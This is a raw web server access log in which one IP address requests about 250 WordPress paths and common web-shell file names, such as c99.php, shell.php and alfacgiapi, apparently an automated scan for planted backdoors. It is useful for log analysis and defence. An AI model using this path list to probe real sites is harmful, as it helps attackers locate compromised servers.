[18/Apr/2025:03:10:50 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:50 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:51 -0400] "GET /wp-includesmaps/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:51 -0400] "GET /wp-content/plugins/file-manager-advanced/application/library/codemirror/mode/jsx/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:52 -0400] "GET /templates/ja_purity/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:52 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:53 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:53 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:53 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:53 -0400] "GET /wp-content/plugins/generateblocks/src/components/unit-picker/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:54 -0400] "GET /wp-includesmaps/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:54 -0400] "GET /wp-include.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:54 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:55 -0400] "GET /sos/NewTheme/images/VillagesPictures/Dhodial/Dhodial/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:55 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:55 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:56 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:56 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:56 -0400] "GET /wp-content/plugins/bdthemes-element-pack/modules/review-card/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:56 -0400] "GET /wp-content/plugins/w3-total-cache/lib/Aws/Aws/Api/Parser/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:57 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:57 -0400] "GET /wp-content/themes/twentytwentyfive/styles/sections/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:57 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:57 -0400] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:58 -0400] "GET /wp-content/themes/astra/inc/modules/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:58 -0400] "GET /wp-mai.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:58 -0400] "GET /wp-taglin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:59 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:10:59 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:00 -0400] "GET /wp-includes/js/tinymce/plugins/wpeditimage/wpeditimage/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:00 -0400] "GET /wp-content/plugins/wp-table-builder/inc/core/freemius/assets/img/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:01 -0400] "GET /wp-activat.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:01 -0400] "GET /wp-includes/blocks/embed/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:02 -0400] "GET /wp-content/plugins/revslider/public/assets/js/libs/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:02 -0400] "GET /wp-includes/css/dist/customize-widgets/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:03 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:04 -0400] "GET /wp-content/plugins/pro-elements/modules/notes/database/query/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:05 -0400] "GET /wp-content/languages/themes//wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:09 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:09 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:11 -0400] "GET /wp-content/plugins/js_composer/include/params/options/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:13 -0400] "GET /wp-content/plugins/woocommerce/packages/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:13 -0400] "GET /backup/wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:14 -0400] "GET /images/headers/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:15 -0400] "GET /wp-content/themes/twentytwentythree/parts/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:17 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:18 -0400] "GET /wp-includes/css/dist/block-library/action/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:19 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:20 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:21 -0400] "GET /wp-content/plugins/not/includes/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:22 -0400] "GET /wp-admin/plugins/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:23 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:24 -0400] "GET /wp-includes/js/tinymce/plugins/hr/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:26 -0400] "GET /wordpress/wp-includes/sodium_compat/src/Core32/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:27 -0400] "GET /wp-content/td/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:28 -0400] "GET /about/b/home/iune/www/about/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:30 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:32 -0400] "GET /wp-content/plugins/revslider/admin/assets/images/navigationeditor/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:33 -0400] "GET /classwithtostrin.php/rbzccnn.php/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:34 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:35 -0400] "GET /wp-content/plugins/wpforms-lite/templates/admin/empty-states/payments/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:36 -0400] "GET /wp-includes/js/tinymce/plugins/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:38 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:39 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:41 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:42 -0400] "GET /wp-content/themes/twentytwentytwo/styles/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:42 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:43 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:44 -0400] "GET /wp-content/themes/listdo/inc/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:45 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:45 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:46 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:46 -0400] "GET /http:/gracecommunications.church/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:47 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:48 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:48 -0400] "GET /wp-content/plugins/wp-rocket/inc/admin/ui/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:49 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:50 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:51 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:51 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:52 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:53 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:54 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:55 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:55 -0400] "GET /wp-admin/sr/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:56 -0400] "GET /wp-includes/Text/Diff/Engine/require/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:11:58 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:01 -0400] "GET /index/sr HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:02 -0400] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:02 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:03 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:07 -0400] "GET /wp-content/uploads//wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:08 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:10 -0400] "GET /wp-content/plugins/smartmag-core/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:11 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:11 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:12 -0400] "GET /wp-content/plugins/jetpack/_inc/build/shortcodes/js/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:12 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:13 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:14 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:14 -0400] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:15 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/wp/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:18 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:20 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:24 -0400] "GET /wp-includes/js/tinymce/skins/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:27 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:29 -0400] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:32 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:34 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:35 -0400] "GET /sec/core/tests/Drupal/FunctionalTests/Hal/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:36 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:41 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:42 -0400] "GET /wp-content/plugins/jet-engine/includes/components/glossaries/assets/css/admin/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:43 -0400] "GET /wp-content/plugins/all-in-one-seo-pack/vendor_prefixed/psr/log/Psr/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:43 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:44 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:45 -0400] "GET /wp-content/plugins/elementor/core/admin/ui/components/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:45 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:47 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:47 -0400] "GET /.well-known HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:48 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:48 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:49 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:49 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:49 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:51 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:52 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:52 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:53 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:53 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:55 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:55 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:56 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:57 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:58 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:12:59 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:13:00 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:13:01 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:13:03 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:13:05 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:13:06 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:13:07 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:13:08 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:13:09 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:13:12 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:13:14 -0400] "GET /css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:13:14 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:13:16 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:13:19 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:13:23 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:13:28 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:13:29 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:13:32 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:13:35 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:13:43 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:13:51 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:14:04 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:14:26 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:14:36 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:15:02 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:15:24 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:15:36 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:15:51 -0400] "GET /libraries/php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:15:58 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:08 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:16 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:19 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:21 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:21 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:21 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:22 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:23 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:24 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:25 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:28 -0400] "GET /plugins/custom/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:31 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:33 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:36 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:38 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:39 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:40 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:41 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:42 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:43 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:45 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:46 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:47 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:48 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:50 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:51 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:52 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:53 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:56 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:16:59 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:17:01 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:17:04 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:17:07 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:17:08 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:17:11 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:17:13 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:17:16 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:17:18 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:17:19 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:17:20 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:17:20 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:17:21 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:17:22 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:17:25 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:17:27 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:17:32 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:17:39 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:17:46 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:17:51 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:18:06 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:18:13 -0400] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:18:16 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:18:19 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:18:20 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:18:25 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:18:36 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:18:45 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:18:49 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - 